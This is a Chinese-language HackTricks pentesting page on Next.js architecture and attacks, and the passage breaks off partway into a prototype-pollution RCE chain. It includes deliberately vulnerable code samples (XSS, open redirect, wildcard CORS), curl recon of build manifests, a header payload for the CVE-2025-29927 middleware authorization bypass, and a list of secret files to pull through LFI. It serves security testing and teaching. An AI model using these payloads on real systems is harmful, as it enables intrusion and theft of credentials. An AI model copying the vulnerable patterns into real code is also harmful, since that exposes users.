NextJS

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Next.js 应用的一般架构

典型的文件结构

一个标准的 Next.js 项目遵循特定的文件和目录结构,以支持其诸如路由、API 端点和静态资源管理等功能。下面是一个典型的布局:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

核心目录与文件

  • public/: 托管静态资产,如图像、字体和其他文件。此处的文件可通过根路径 (/) 访问。
  • app/: 应用的核心目录,包含页面、布局、组件和 API 路由。采用 App Router 范式,支持高级路由功能以及服务端/客户端组件分离。
  • app/layout.tsx: 定义应用的根布局,包裹所有页面并提供一致的 UI 元素,如头部、页脚和导航栏。
  • app/page.tsx: 作为根路由 / 的入口,渲染首页。
  • app/[route]/page.tsx: 处理静态和动态路由。app/ 下的每个文件夹代表一个路由段,文件夹内的 page.tsx 对应该路由的组件。
  • app/api/: 包含 API 路由,可创建处理 HTTP 请求的 serverless 函数。这些路由取代了传统的 pages/api 目录。
  • app/components/: 存放可复用的 React 组件,可在不同页面和布局中使用。
  • app/styles/: 包含全局 CSS 文件和用于组件作用域样式的 CSS Modules。
  • app/utils/: 包含工具函数、辅助模块以及其他可以在应用中共享的非 UI 逻辑。
  • .env.local: 存储本地开发环境特有的环境变量。这些变量不会提交到版本控制。
  • next.config.js: 用于定制 Next.js 行为,包括 webpack 配置、环境变量和安全设置。
  • tsconfig.json: 配置项目的 TypeScript 设置,启用类型检查及其他 TypeScript 功能。
  • package.json: 管理项目依赖、脚本和元数据。
  • README.md: 提供项目文档和信息,包括安装说明、使用指南和其他相关细节。
  • yarn.lock / package-lock.json: 将项目依赖锁定到特定版本,确保在不同环境中的安装一致性。

Next.js 中的客户端

app 目录中的基于文件的路由

The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.

处理根路径 /

文件结构:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

关键文件:

  • app/page.tsx: 处理对根路径 / 的请求。
  • app/layout.tsx: 定义应用的布局,包裹所有页面。

实现:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

解释:

  • 路由定义: 位于 app 目录下的 page.tsx 文件对应于 / 路由。
  • 渲染: 该组件渲染主页的内容。
  • 布局整合: HomePage 组件被 layout.tsx 包裹,layout.tsx 可包含页眉、页脚及其他常见元素。
处理其他静态路径

示例:/about 路由

文件结构:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

实现:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

说明:

  • 路由定义: 位于 about 文件夹内的 page.tsx 文件对应于 /about 路由。
  • 渲染: 该组件渲染关于页面的内容。
动态路由

动态路由允许处理具有可变段的路径,使应用能够基于如 ID、slug 等参数显示内容。

示例: /posts/[id] 路由

文件结构:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

实现:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

说明:

  • 动态段: [id] 表示路由中的动态段,从 URL 捕获 id 参数。
  • 访问参数: params 对象包含动态参数,可在组件内访问。
  • 路由匹配: 任何匹配 /posts/* 的路径,例如 /posts/1/posts/abc 等,都会由该组件处理。
嵌套路由

Next.js 支持嵌套路由,允许创建与目录布局相对应的分层路由结构。

示例: /dashboard/settings/profile 路由

文件结构:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

实现:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

解释:

  • 深层嵌套: 位于 dashboard/settings/profile/ 内的 page.tsx 文件对应于 /dashboard/settings/profile 路由。
  • 层级反映: 目录结构反映了 URL 路径,增强了可维护性和清晰度。
通配路由

通配路由用于处理多个嵌套段或未知路径,在路由处理上提供了灵活性。

示例: /* 路由

文件结构:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

实现:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

说明:

  • Catch-All Segment: [...slug] 捕获剩余的所有路径段并作为数组返回。
  • Usage: 可用于处理动态路由场景,例如用户生成的路径、嵌套分类等。
  • Route Matching:/anything/here/foo/bar/baz 等路径会由此组件处理。

潜在的客户端漏洞

虽然 Next.js 提供了安全的基础,但不当的编码实践可能引入漏洞。主要的客户端漏洞包括:

Cross-Site Scripting (XSS)

XSS 攻击发生在恶意脚本被注入到受信任的网站时。攻击者可以在用户的浏览器中执行脚本,窃取数据或代表用户执行操作。

易受攻击的代码示例:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Why It’s Vulnerable: 使用 dangerouslySetInnerHTML 处理不受信任的输入会允许攻击者注入恶意脚本。

Client-Side Template Injection

当用户输入在模板中处理不当时,会发生这种情况,使攻击者能够注入并执行模板或表达式。

易受攻击代码示例:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Why It’s Vulnerable: 如果 templatedata 包含恶意内容,可能会导致执行未预期的代码。

Client Path Traversal

这是一种漏洞,允许攻击者操纵客户端路径以执行未预期的操作,例如 Cross-Site Request Forgery (CSRF)。与 server-side path traversal(针对服务器文件系统)不同,CSPT 专注于利用客户端机制,将合法的 API 请求重定向到恶意端点。

Example of Vulnerable Code:

一个 Next.js 应用允许用户上传和下载文件。下载功能在客户端实现,用户可以指定要下载的文件路径。

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

攻击场景

  1. Attacker’s Objective:通过操纵 filePath 执行 CSRF 攻击以删除关键文件(例如 admin/config.json)。
  2. Exploiting CSPT
  • 恶意输入:攻击者构造一个带有操纵过的 filePath 的 URL,例如 ../deleteFile/config.json
  • 产生的 API 调用:客户端代码会向 /api/files/../deleteFile/config.json 发出请求。
  • 服务器处理:如果服务器不验证 filePath,它会处理该请求,可能删除或暴露敏感文件。
  1. Executing CSRF
  • 构造的链接:攻击者向受害者发送一个链接或嵌入恶意脚本,触发带有被操纵 filePath 的下载请求。
  • 结果:受害者在不知情的情况下执行该操作,导致未授权的文件访问或删除。

Recon:通过 _buildManifest 发现静态导出路由

nextExport/autoExport 为 true(静态导出)时,Next.js 会在 HTML 中暴露 buildId,并在 /_next/static/<buildId>/_buildManifest.js 提供一个构建清单。sortedPages 数组和 route→chunk 映射列举了每个预渲染页面,无需暴力枚举。

  • 从根响应中获取 buildId(通常打印在底部),或从加载 /_next/static/<buildId>/...<script> 标签中获取。
  • 获取 manifest 并提取路由:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • 使用已发现的路径(例如 /docs/docs/content/examples/signin)来驱动 auth 测试和端点发现。

Next.js 的服务器端

服务器端渲染 (SSR)

页面在每次请求时由服务器渲染,确保用户接收到完全渲染的 HTML。在这种情况下,你应该创建自定义服务器来处理这些请求。

使用场景:

  • 频繁变化的动态内容。
  • SEO 优化,因为搜索引擎可以抓取完全渲染的页面。

实现:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

静态站点生成 (SSG)

页面在构建时预渲染,从而提高加载速度并减少服务器负载。

使用场景:

  • 内容不经常更改。
  • 博客、文档、营销页面。

实现方式:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

无服务器函数(API 路由)

Next.js 允许将 API 端点创建为无服务器函数。这些函数按需运行,无需专用服务器。

用例:

  • 处理表单提交。
  • 与数据库交互。
  • 处理数据或与第三方 API 集成。

实现:

随着 Next.js 13 中引入 app 目录,路由和 API 处理变得更灵活且更强大。这种现代方法与基于文件的路由系统紧密对齐,但引入了增强的功能,包括对服务器端和客户端组件的支持。

基本路由处理器

文件结构:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

实现:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

说明:

  • 位置: API 路由 放在 app/api/ 目录下。
  • 文件命名: 每个 API endpoint 都位于自己的文件夹中,该文件夹包含一个 route.jsroute.ts 文件。
  • 导出函数: 不再使用单个默认导出,而是导出针对特定 HTTP 方法的函数(例如 GETPOST)。
  • 响应处理: 使用 Response 构造函数返回响应,从而可以更精细地控制响应头和状态码。

如何处理其他路径和方法:

处理特定的 HTTP 方法

Next.js 13+ 允许你在同一个 route.jsroute.ts 文件中为特定的 HTTP 方法定义处理函数,从而使代码更清晰、组织更合理。

示例:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explanation:

  • Multiple Exports: 每个 HTTP 方法 (GET, PUT, DELETE) 都有各自导出的函数。
  • Parameters: 第二个参数可通过 params 访问路由参数。
  • Enhanced Responses: 对响应对象有更大控制,能够精确管理响应头和状态码。
Catch-All 与 嵌套路由

Next.js 13+ 支持高级路由特性,如 catch-all 路由和嵌套 API 路由,使 API 结构更动态且更可扩展。

Catch-All 路由示例:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

解释:

  • 语法: [...] 表示一个捕获所有嵌套路径的段,捕获所有嵌套路径。
  • 用法: 对于需要处理不同路由深度或动态段的 APIs 很有用。

嵌套路由示例:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

说明:

  • 深度嵌套: 允许分层的 API 结构,反映资源之间的关系。
  • 参数访问: 可以通过 params 对象轻松访问多个路由参数。
在 Next.js 12 及更早版本中处理 API 路由

位于 pages 目录的 API 路由 (Next.js 12 及更早版本)

在 Next.js 13 引入 app 目录并增强路由功能之前,API 路由主要在 pages 目录中定义。这种方式在 Next.js 12 及更早版本中仍被广泛使用并受支持。

基本 API 路由

文件结构:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

实现:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

说明:

  • 位置: API 路由位于 pages/api/ 目录下。
  • 导出: 使用 export default 来定义处理函数。
  • 函数签名: 处理函数接收 req(HTTP 请求)和 res(HTTP 响应)对象。
  • 路由: 文件名(hello.js)映射到端点 /api/hello

动态 API 路由

文件结构:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

实现:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

解释:

  • 动态段: 方括号 ([id].js) 表示动态路由段。
  • 访问参数: 使用 req.query.id 访问动态参数。
  • 处理方法: 使用条件逻辑来处理不同的 HTTP 方法(GETPUTDELETE 等)。

处理不同的 HTTP 方法

虽然基本的 API 路由示例在单个函数中处理所有 HTTP 方法,但你可以将代码结构化为显式处理每个方法,以获得更好的清晰性和可维护性。

示例:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

最佳实践:

  • 关注点分离: 对不同的 HTTP 方法的逻辑进行明确分离。
  • 响应一致性: 确保响应结构一致,便于客户端处理。
  • 错误处理: 优雅地处理不支持的方法和意外错误。

CORS 配置

控制哪些来源可以访问你的 API 路由,从而减轻 Cross-Origin Resource Sharing (CORS) 漏洞。

错误配置示例:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

注意,CORS 也可以在所有 API 路由中配置,位于 middleware.ts 文件中:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

问题:

  • Access-Control-Allow-Origin: '*': 允许任何网站访问 API,可能使恶意站点在没有限制的情况下与您的 API 交互。
  • Wide Method Allowance: 允许所有方法可能让攻击者执行不想要的操作。

攻击者如何利用它:

攻击者可以制作恶意网站,向您的 API 发起请求,可能滥用诸如数据检索、数据修改或以认证用户的名义触发不想要的操作等功能。

CORS - Misconfigurations & Bypass

服务器端代码在客户端暴露

很容易在暴露给客户端的代码中重复使用服务器端的代码,确保某个代码文件绝不在客户端暴露的最佳方式是在该文件开头使用以下 import:

import "server-only"

关键文件及其作用

middleware.ts / middleware.js

Location: 项目根目录或在 src/ 中。

Purpose: 在请求处理前在服务端的 serverless 函数中执行代码,可用于身份验证、重定向或修改响应等任务。

Execution Flow:

  1. Incoming Request: middleware 拦截请求。
  2. Processing: 根据请求执行操作(例如,检查身份验证)。
  3. Response Modification: 可以修改响应或将控制权传递给下一个处理程序。

Example Use Cases:

  • 重定向未认证的用户。
  • 添加自定义头。
  • 记录请求。

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

如果在 middleware 中强制执行授权,受影响的 Next.js 版本(<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3)可以通过注入 x-middleware-subrequest 头来绕过。框架会跳过 middleware 的递归并返回受保护的页面。

  • 基线行为通常是 307 重定向到类似 /api/auth/signin 的登录路由。
  • 发送一个较长的 x-middleware-subrequest 值(重复 middleware 以达到 MAX_RECURSION_DEPTH)以将响应翻转为 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • 由于已认证页面会拉取许多子资源,请将该 header 添加到每个请求(例如,使用 Burp Match/Replace 设置空匹配字符串)以防止资源被重定向。

next.config.js

Location: 项目根目录。

Purpose: 配置 Next.js 行为,启用或禁用功能、定制 webpack 配置、设置环境变量,并配置若干安全特性。

Key Security Configurations:

安全响应头

安全响应头通过告诉浏览器如何处理内容来增强应用的安全性。它们有助于缓解诸如 Cross-Site Scripting (XSS)、Clickjacking 和 MIME 类型嗅探等攻击:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

示例:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
图像优化设置

Next.js 优化图像以提升性能,但错误配置可能导致安全漏洞,例如允许不受信任的来源注入恶意内容。

错误的配置示例:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

问题:

  • '*': 允许从任何外部来源加载图像,包括不受信任或恶意的域。攻击者可以托管包含恶意有效载荷或误导用户内容的图像。
  • 另一个问题可能是允许某个域 任何人都可以上传图像的域(例如 raw.githubusercontent.com

攻击者如何滥用:

通过注入来自恶意来源的图像,攻击者可以进行网络钓鱼攻击、显示误导性信息,或利用图像渲染库中的漏洞。

环境变量暴露

对 API 密钥和数据库凭证等敏感信息进行安全管理,避免将它们暴露给客户端。

a. 暴露敏感变量

错误的配置示例:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

问题:

  • SECRET_API_KEY: 如果没有 NEXT_PUBLIC_ 前缀,Next.js 不会将变量暴露给客户端。但是,如果错误地添加了前缀(例如 NEXT_PUBLIC_SECRET_API_KEY),它将可在客户端访问。

攻击者如何滥用它:

如果敏感变量被暴露到客户端,攻击者可以通过检查客户端代码或网络请求来检索它们,从而未经授权地访问 APIs、databases 或其他服务。

重定向

在你的应用内管理 URL 重定向和重写,确保用户被适当引导,同时不引入 open redirect vulnerabilities。

a. Open Redirect Vulnerability

错误配置示例:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

问题:

  • Dynamic Destination: 允许用户指定任意 URL,从而导致 open redirect 攻击。
  • Trusting User Input: 将用户提供的 URL 用于重定向且不进行校验,可能导致 phishing、malware distribution 或 credential theft。

攻击者如何滥用它:

攻击者可以构造看似来源于你域名的 URLs,但将用户重定向到恶意站点。例如:

https://yourdomain.com/redirect?url=https://malicious-site.com

信任原始域名的用户可能在不知情的情况下访问到有害网站。

Webpack 配置

为你的 Next.js 应用自定义 Webpack 配置,但如果不谨慎处理,可能会无意中引入安全漏洞。

a. 暴露敏感模块

错误的配置示例:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

问题:

  • 暴露敏感路径: 对敏感目录进行别名并允许客户端访问可能会 leak 机密信息。
  • 打包敏感信息: 如果将敏感文件打包到客户端,它们的内容可能会通过 source maps 或检查客户端代码被访问。

攻击者如何滥用:

攻击者可以访问或重建应用的目录结构,进而可能发现并利用敏感文件或数据。

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: 覆盖默认 App 组件,允许使用全局状态、样式和布局组件。

Use Cases:

  • 注入全局 CSS。
  • 添加布局包装组件。
  • 集成状态管理库。

示例:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Purpose: 覆盖默认的 Document,允许自定义 HTML 和 Body 标签。

Use Cases:

  • 修改 <html><body> 标签。
  • 添加 meta 标签或自定义脚本。
  • 集成第三方字体。

Example:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

自定义服务器(可选)

目的: 虽然 Next.js 附带内置服务器,但你可以创建自定义服务器以应对高级用例,例如自定义路由或与现有后端服务集成。

注意: 使用自定义服务器可能会限制部署选项,尤其是在像 Vercel 这样的优化面向 Next.js 内置服务器的平台上。

示例:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

额外的架构和安全注意事项

环境变量和配置

目的: 在代码库之外管理敏感信息和配置设置。

最佳实践:

  • 使用 .env 文件: 将像 API 密钥这样的变量存放在 .env.local(从版本控制中排除)。
  • 以安全方式访问变量: 使用 process.env.VARIABLE_NAME 访问环境变量。
  • 绝不要在客户端暴露敏感信息: 确保敏感变量仅在服务器端使用。

示例:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

注意: 要仅将变量限制为服务器端,请将它们从 env 对象中省略,或者如果需要在客户端暴露则使用 NEXT_PUBLIC_ 前缀。

可通过 LFI/下载端点 定位的有用服务器工件

如果在 Next.js 应用中发现 path traversal 或 download API,请针对会 leak 服务器端机密和 auth 逻辑的已编译工件:

  • .env / .env.local — 用于包含会话密钥和提供者凭据。
  • .next/routes-manifest.json.next/build-manifest.json — 包含完整的路由列表。
  • .next/server/pages/api/auth/[...nextauth].js — 用于恢复已编译的 NextAuth 配置(当 process.env 值未设置时通常包含回退密码)。
  • next.config.js / next.config.mjs — 用于查看重写、重定向和中间件路由。

认证与授权

方法:

  • 基于会话的认证: 使用 cookies 管理用户会话。
  • 基于令牌的认证: 使用 JWTs 实现无状态认证。
  • 第三方提供者: 使用 next-auth 等库集成 OAuth 提供者(例如 Google、GitHub)。

安全实践:

  • 安全 Cookie: 设置 HttpOnlySecureSameSite 属性。
  • 密码哈希: 存储前始终对密码进行哈希。
  • 输入验证: 通过验证和清理输入来防止注入攻击。

示例:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

性能优化

策略:

  • 图像优化: 使用 Next.js 的 next/image 组件进行自动图像优化。
  • 代码拆分: 利用动态导入将代码拆分,以减少初始加载时间。
  • 缓存: 为 API 响应和静态资源实现缓存策略。
  • 懒加载: 仅在需要时加载组件或资源。

示例:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 枚举(通过 source maps 将 hash 映射到函数名)

现代 Next.js 使用“Server Actions”,这些在服务端执行但由客户端调用。在生产环境中,这些调用是不可见的:所有 POSTs 都会落在一个公共端点,并通过在 Next-Action 头中发送的与构建相关的哈希来区分。示例:

POST /
Next-Action: a9f8e2b4c7d1...

当启用 productionBrowserSourceMaps 时,压缩的 JS chunk 包含对 createServerReference(...) 的调用,这些调用 leak 足够的结构(以及关联的 source maps),从而恢复 action hash 与原始函数名之间的映射。这样就可以将 Next-Action 中观察到的哈希翻译为具体目标,例如 deleteUserAccount()exportFinancialData()

提取方法 (regex on minified JS + optional source maps)

在下载的 JS chunk 中搜索 createServerReference 并提取哈希以及函数/源符号。两个有用的模式:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • 组 1:server action hash (40+ hex chars)
  • 组 2:symbol or path,可以在存在 source map 时解析为原始函数名

如果脚本声明了 source map(尾部注释 //# sourceMappingURL=<...>.map),获取它并将 symbol/path 解析为原始函数名。

Practical workflow

  • 被动发现(浏览时):捕获带有 Next-Action headers 和 JS chunk URLs 的请求。
  • 获取引用的 JS bundles 及其伴随的 *.map 文件(如果存在)。
  • 运行上面的 regex 来建立 hash↔name 字典。
  • 使用该字典进行目标测试:
    • 基于名称的筛选(例如,transferFundsexportFinancialData)。
    • 按函数名跟踪跨构建的覆盖率(hashes 会在不同构建中轮换)。

Exercising hidden actions (template-based request)

以在代理中观察到的有效 POST 作为模板,替换 Next-Action 值以针对另一个已发现的 action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

在 Repeater 中重放并测试 otherwise unreachable actions 的授权、输入验证和业务逻辑。

Burp 自动化

  • NextjsServerActionAnalyzer (Burp extension) 在 Burp 中自动执行上述操作:
  • 从代理历史中挖掘 JS chunk,提取 createServerReference(...) 条目,并在可用时解析 source maps。
  • 维护一个可搜索的 hash↔function-name 字典,并按函数名在不同构建间去重。
  • 可以定位一个有效的模板 POST 并打开一个准备发送的 Repeater 选项卡,将目标 action 的 hash 替换进去。
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

说明和限制

  • 需要在生产环境启用 productionBrowserSourceMaps 才能从 bundles/source maps 恢复名称。
  • Function-name 泄露本身不是漏洞;将其用作指导发现的线索,并测试每个 action 的授权。

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router 部署在将 Server Actions 暴露在 react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 时,在 Flight chunk 反序列化期间包含一个严重的服务器端原型污染漏洞。通过在 Flight payload 中构造 $ 引用,攻击者可以从被污染的原型转向任意 JavaScript 执行,进而在 Node.js 进程中执行 OS 命令。

NodeJS - proto & prototype Pollution

Flight chunks 中的攻击链

  1. Prototype pollution primitive: 设置 "then": "$1:__proto__:then",使解析器在 Object.prototype 上写入一个 then 函数。之后处理的任何普通对象都会变成一个 thenable,从而允许攻击者影响 RSC 内部的异步控制流。
